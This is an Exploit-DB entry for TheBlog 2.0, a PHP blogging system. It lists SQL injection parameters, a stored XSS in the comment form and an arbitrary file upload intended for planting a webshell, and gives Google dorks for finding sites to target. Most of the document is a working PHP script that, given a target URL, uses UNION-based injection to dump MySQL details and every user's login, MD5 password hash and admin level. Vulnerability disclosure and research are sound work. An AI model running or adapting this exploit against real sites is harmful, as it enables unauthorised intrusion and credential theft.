Exploit-DB #19060
Description: TheBlog 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-11
Author: WhiteCollarGroup

Exploit:
<?php
# Exploit Title: TheBlog <= 2.0 SQL Injection
# Exploit author: WhiteCollarGroup
# Google Dork: intext:"TheBlog é um software livre e é distribuido sobre a licença GNU/GPL "
# Google Dork: intext:"TheBlog PHP weblogger"
# Date: 10th 06 2012
# Software Link: http://phpbrasil.com/script/JHnpFRmSBqlf/sn-news
# Software homepage: http://theblog.codigolivre.org.br/
# Version: 2.0
# Tested on: Debian GNU/Linux,Windows 7 Ultimate (Apache Server)

/*

WhiteCollarGroup
	www.wcgroup.host56.com
	whitecollar_group@hotmail.com
	@WCollarGroup

-+-
	If you will try to hack your own server for test, and will install on a MySQL >= 5, on SQL codes to insert, you must replace all:
	TYPE=MyISAM
	By:
	ENGINE=InnoDB
-+-

We discovered multiple vulnerabilities on this system. All in index.php, vars:

~> SQL Injection
	index.php?id=[sqli]
	index.php?cat=[sqli]
	index.php?archives=[sqli without "-"]

~> XSS Persistent (stored)
	When reading a post, click "Deixe um comentário" (leave an comment).
	In comment form, you have:
	Nome: [XSS]
	E-mail: [XSS]
	Message: [XSS]
	Inputs "Nome" and "E-mail" are limited to 255 max chars. Input "Message" haven't limit.
	You can inject HTML and JavaScript code.

~> Arbitraty File Upload
	After get admin access, on the menu, click "Upload".
	Upload your webshell on the form. A link will be appears on file list ("Lista de Arquivos").
	
 > What's this exploit?
	Are a PoC for SQL Injection on "index.php?id=".
	How to use:
	php exploit.php <target>
	Example:
	php exploit.php http://target.com/blog/
	
	
EDUCATIONAL PURPOSE ONLY!
*/

error_reporting(E_ERROR);
set_time_limit(0);
ini_set("default_socket_timeout", 30);
 
function hex($string){
    $hex=''; // PHP 'Dim' =]
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return '0x'.$hex;
}


echo "TheBlog <= 2.0 SQL Injection exploit\n";
echo "Discovered and written by WhiteCollarGroup\n";
echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n";

if($argc!=2) {
	echo "Usage: \n";
	echo "php $argv[0] <target url>\n";
	echo "Example:\n";
	echo "php $argv[0] http://www.website.com/blog\n";
	exit;
}

$target = $argv[1];
if(substr($target, (strlen($target)-1))!="/") {
	$target .= "/";
}

$inject = $target . "index.php?id=".urlencode("-0' ");

echo "[*] Trying to get informations...\n";
$token = uniqid();
$token_hex = hex($token);

// http://localhost/cms/theblog/theblog2-0/index.php?id=-62%27%20UNION%20ALL%20SELECT%201,2,3,4,5,concat%28login,0x3c3d3e,senha,0x3c3d3e,nivel%29,7,8,9,10,11,12,13%20from%20theblog_users%20LIMIT%200,1--+

$infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,user(),$token_hex,version(),$token_hex),7,8,9,10,11,12,13-- "));
$infos_r = array();

preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if($user) {
	echo "[!] MySQL version: $version\n";
	echo "[!] MySQL user: $user\n";
} else {
	echo "[-] Error while getting informations.\n";
}

echo "[*] Getting users...\n";
$i = 0;
while(true) {
	$dados_r = array();
	$dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,login,$token_hex,senha,$token_hex,nivel,$token_hex),7,8,9,10,11,12,13 FROM theblog_users LIMIT $i,1-- "));
	preg_match_all("/$token(.*)$token(.*)$token(.*)$token/", $dados, $dados_r);
	$login = $dados_r[1][0];
	$senha = $dados_r[2][0];
	$nivel = $dados_r[3][0];
	if(($login) OR ($senha) OR ($nivel)) {
		echo "    -+-\n";
		echo "    User: $login\n"
			."    Pass (MD5): $senha\n"
			."    Level: ".($nivel=="1" ? "admin" : "poster")."\n";
		$i++;
	} else {
		break;
	}
}

if($i!=0) {
	echo "[!] Admin login: {$target}admin.php\n";
} else {
	echo "[-] Exploit failed. Make sure that's server is using a valid version of TheBlog without Apache mod_security.\nWe're sorry.\n";
}